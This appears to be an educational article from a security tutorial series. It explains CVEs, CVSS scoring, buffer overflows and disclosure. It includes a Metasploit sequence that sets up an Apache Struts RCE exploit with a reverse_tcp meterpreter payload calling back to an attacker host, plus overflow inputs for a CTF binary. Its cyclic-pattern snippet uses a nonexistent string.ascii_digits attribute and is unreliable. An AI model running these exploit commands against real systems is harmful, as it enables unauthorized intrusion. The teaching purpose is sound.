Search…

Exploitation basics and CVEs

In this series (16 parts)
  1. How attackers think: the attacker mindset
  2. Networking fundamentals for security
  3. Cryptography fundamentals
  4. Public key infrastructure and certificates
  5. Authentication and authorization
  6. Web application security: OWASP Top 10
  7. Network attacks and defenses
  8. Linux privilege escalation
  9. Windows security fundamentals
  10. Malware types and analysis basics
  11. Reconnaissance and OSINT
  12. Exploitation basics and CVEs
  13. Post-exploitation and persistence
  14. Defensive security: hardening and monitoring
  15. Incident response
  16. CTF skills and practice labs

A vulnerability is a flaw in software that can be exploited to make it do something unintended. A CVE is a unique identifier for a publicly known vulnerability. An exploit is the code or technique that takes advantage of the vulnerability. Understanding this lifecycle, from discovery to patch, is essential for both attackers and defenders.

Prerequisites

You should understand how attackers think and web application vulnerabilities.

The CVE system

CVE (Common Vulnerabilities and Exposures) is a standardized naming system for vulnerabilities. Each vulnerability gets a unique ID like CVE-2024-12345.

The format is: CVE-YEAR-NUMBER

# Look up a CVE
# Example: Log4Shell (one of the most impactful recent CVEs)
# CVE-2021-44228
# https://nvd.nist.gov/vuln/detail/CVE-2021-44228

CVSS scoring

CVSS (Common Vulnerability Scoring System) rates the severity of vulnerabilities on a 0-10 scale.

ScoreSeverityExample
0.0NoneInformational
0.1 - 3.9LowMinor info leak
4.0 - 6.9MediumXSS requiring user interaction
7.0 - 8.9HighSQL injection in authenticated area
9.0 - 10.0CriticalRemote code execution, no auth needed

CVSS considers:

  • Attack Vector: Network, Adjacent, Local, Physical
  • Attack Complexity: Low, High
  • Privileges Required: None, Low, High
  • User Interaction: None, Required
  • Impact: Confidentiality, Integrity, Availability (each: None, Low, High)

A vulnerability with Network attack vector, Low complexity, No privileges, No user interaction, and High impact on all three categories scores near 10.0. That is the worst case: an unauthenticated attacker on the network can fully compromise the system.

The vulnerability lifecycle

graph LR
  A[Discovery] --> B[Disclosure]
  B --> C[CVE Assignment]
  C --> D[Patch Development]
  D --> E[Patch Release]
  E --> F[Adoption]
  A -.->|Zero-day| G[Exploitation in the Wild]
  G -.-> B
  style A fill:#64b5f6,stroke:#1976d2,color:#000
  style E fill:#81c784,stroke:#388e3c,color:#000
  style G fill:#ef5350,stroke:#c62828,color:#fff

Discovery: a researcher, attacker, or automated tool finds a vulnerability.

Disclosure: the discoverer reports it to the vendor (responsible disclosure) or publishes it publicly (full disclosure). Some sell it on exploit markets.

Zero-day: a vulnerability that is exploited before the vendor knows about it. The term “zero-day” means the vendor has had zero days to fix it.

Patch release: the vendor publishes a fix. Now the race begins: defenders must apply the patch before attackers reverse-engineer it to build exploits.

N-day: a vulnerability with an available patch that has not been applied. Most successful attacks exploit N-days, not zero-days. Patching is the most effective defense.

Buffer overflow concept

Buffer overflows are one of the oldest and most important classes of vulnerabilities. They occur when a program writes more data to a memory buffer than it can hold, overwriting adjacent memory.

The stack

When a function is called, the CPU saves information on the stack:

  • Local variables
  • The return address (where to continue after the function finishes)
  • The saved base pointer
graph TD
  subgraph Stack Growth Direction
      A["High Memory"] --> B["Return Address"]
      B --> C["Saved Base Pointer"]
      C --> D["Local Variable: buffer 64 bytes"]
      D --> E["Low Memory"]
  end
  style B fill:#ef5350,stroke:#c62828,color:#fff
  style D fill:#64b5f6,stroke:#1976d2,color:#000

How the overflow works

A vulnerable C function:

void vulnerable_function(char *input) {
    char buffer[64];     // Only 64 bytes allocated
    strcpy(buffer, input);  // No length check!
}

If input is 100 bytes, strcpy writes past the end of buffer and overwrites the return address. The attacker crafts the input so the overwritten return address points to their code (shellcode) or to existing code they want to execute (return-oriented programming).

Conceptual walkthrough

Normal stack:
[buffer: 64 bytes of data] [saved BP] [return address -> main()]

After overflow with 80 bytes of input:
[AAAA...64 bytes...AAAA] [AAAA] [0xDEADBEEF -> attacker's code]

When the function returns, the CPU jumps to 0xDEADBEEF instead of the legitimate return address. If the attacker placed their shellcode at that address, they now have code execution.

Modern protections

ProtectionWhat it doesBypass
Stack canariesRandom value before return address; checked on function returnLeak the canary value
ASLRRandomize memory layoutInformation leak to find base addresses
DEP/NXMark stack as non-executableReturn-Oriented Programming (ROP)
PIERandomize executable base addressInformation leak

These protections make exploitation harder but not impossible. Real-world exploits chain multiple techniques to bypass multiple protections.

Metasploit overview (conceptual)

Metasploit is a framework for developing and executing exploit code. It is the most widely used exploitation tool in penetration testing.

Components:

  • Exploits: code that triggers a vulnerability
  • Payloads: code that runs after successful exploitation (reverse shell, meterpreter)
  • Auxiliary: scanning, fuzzing, brute-forcing modules
  • Post-exploitation: modules for privilege escalation, credential dumping, lateral movement

A typical Metasploit workflow:

# 1. Search for an exploit
msfconsole
msf6> search type:exploit name:apache

# 2. Select an exploit
msf6> use exploit/multi/http/apache_struts_rce

# 3. Set options
msf6> set RHOSTS 192.168.1.100
msf6> set RPORT 8080
msf6> set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6> set LHOST 10.0.0.50

# 4. Execute
msf6> exploit

⚠ Metasploit should only be used in authorized penetration tests and CTF environments.

Responsible disclosure

When you find a vulnerability, you have an ethical obligation to report it responsibly:

  1. Report to the vendor through their security contact or bug bounty program
  2. Provide technical details so they can reproduce and fix it
  3. Set a reasonable deadline (90 days is standard)
  4. Do not disclose publicly until the vendor has had time to patch
  5. Do not exploit it beyond what is needed to confirm and demonstrate the vulnerability

Many organizations have bug bounty programs that pay for vulnerability reports. HackerOne, Bugcrowd, and Synack are major platforms.

Example 1: Trace a buffer overflow step by step

Here is a conceptual walkthrough of exploiting a simple buffer overflow in a CTF:

Step 1: Identify the vulnerability

The binary takes user input without length checking:

# Run the program with a long input
python3 -c "print('A' * 100)" | ./vulnerable_program

Output:

Segmentation fault (core dumped)

A segfault with long input suggests a buffer overflow.

Step 2: Find the exact offset

# Use a pattern to find exactly where the return address is
python3 -c "
# Generate a cyclic pattern
import string
pattern = ''
for a in string.ascii_uppercase:
    for b in string.ascii_uppercase:
        for c in string.ascii_digits:
            pattern += a + b + c
            if len(pattern) >= 100:
                break
        if len(pattern) >= 100:
            break
    if len(pattern) >= 100:
        break
print(pattern[:100])
" | ./vulnerable_program

In a debugger, the return address was overwritten with bytes from offset 72. So the buffer is 64 bytes + 8 bytes of saved base pointer = 72 bytes before the return address.

Step 3: Control the return address

python3 -c "print('A' * 72 + '\xef\xbe\xad\xde')" | ./vulnerable_program

If the program tries to jump to 0xDEADBEEF, you have control of the instruction pointer.

Step 4: In a real exploit, the return address would point to shellcode or a ROP chain.

Example 2: Understanding CVE severity in practice

Let’s compare two real CVEs:

CVE-2021-44228 (Log4Shell) - CVSS 10.0

  • Affected: Apache Log4j 2.x
  • Attack vector: Network (send a crafted string to any logged field)
  • Complexity: Low
  • Privileges: None
  • User interaction: None
  • Impact: Full RCE on the server

This was critical because Log4j is used in millions of Java applications, the exploit was trivial (a single string), and it gave full remote code execution.

CVE-2023-32233 - CVSS 7.8

  • Affected: Linux kernel (Netfilter)
  • Attack vector: Local (need a shell first)
  • Complexity: Low
  • Privileges: Low
  • User interaction: None
  • Impact: Local privilege escalation to root

This is high severity because it enables privilege escalation, but it requires the attacker to already have local access.

The difference in CVSS score reflects the attack vector: remote with no auth (10.0) vs local with low privileges (7.8).

What comes next

The next article covers Post-exploitation and persistence, where you will learn what attackers do after gaining access and how they maintain it.

For the defensive response to exploitation, see Incident response.

Start typing to search across all content
navigate Enter open Esc close